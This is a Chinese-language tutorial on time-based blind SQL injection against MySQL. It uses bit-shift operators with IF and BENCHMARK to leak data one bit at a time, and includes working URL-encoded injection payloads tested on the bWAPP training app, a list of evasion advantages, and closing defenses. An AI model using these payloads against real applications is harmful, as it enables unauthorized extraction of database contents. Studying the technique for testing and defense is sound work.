使用MySQL位函数和运算符进行基于时间的高效SQL盲注
字数 883 2025-08-18 11:37:42
MySQL位函数与运算符在基于时间的SQL盲注中的应用
1. 背景介绍
在2011-2012年间,研究人员发现许多基于MySQL数据库的PHP应用程序容易受到基于时间的SQL盲注攻击。但由于各种安全限制措施,传统的注入技术难以奏效。通过使用MySQL的位函数和运算符,可以开发出一种高效的盲注技术。
2. MySQL位运算基础
2.1 右移运算符(>>)
右移运算符将二进制值的位向右移动指定的位数。例如:
mysql> select ascii(b'01110010');
+--------------------+
| ascii(b'01110010') |
+--------------------+
| 114 |
+--------------------+
1 row in set (0.00 sec)
mysql> select ascii(b'01110010') >> 1;
+-------------------------+
| ascii(b'01110010') >> 1 |
+-------------------------+
| 57 |
+-------------------------+
1 row in set (0.00 sec)
2.2 位运算在SQL注入中的应用原理
通过右移运算,可以逐位枚举字符串字符的二进制表示。对于ASCII字符(最多8位),每个字符最多需要8次请求即可完全枚举。
3. 基于时间的盲注技术详解
3.1 基本注入结构
使用IF函数结合BENCHMARK函数创建时间延迟:
IF(condition, BENCHMARK(delay_count, expression), 'false')
- 当条件为TRUE时,执行BENCHMARK导致延迟
- 当条件为FALSE时,立即返回'false'
3.2 逐位枚举字符的步骤
以枚举SELECT USER()返回的第一个字符为例:
-
第一位(最高位)
select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false')- 如果延迟:第一位为0
- 无延迟:第一位为1
-
第二位
select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false')- 检查前两位组合(00或01)
-
后续位
- 类似地检查第3-8位,每次右移的位数递减
- 条件中的比较值需要根据已确定的位进行调整
-
完整示例
- 通过8次请求确定二进制序列:01110010
- 转换为十进制:114
- ASCII 114对应字符'r'
3.3 实际注入示例
在易受攻击的应用程序(bWAPP)中的注入字符串:
-
第一位检查(TRUE条件):
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23 -
第一位检查(FALSE条件):
test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23 -
第八位检查:
test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23
4. 技术优势
- 高效性:每个字符最多8次请求即可确定
- 隐蔽性:基于时间的检测不易被传统WAF识别
- 可靠性:不受页面内容变化的影响
- 通用性:适用于各种MySQL后端应用
5. 防御措施
- 使用参数化查询(预处理语句)
- 实施严格的输入验证
- 限制数据库用户权限
- 监控异常长时间查询
- 使用Web应用防火墙(WAF)检测异常请求模式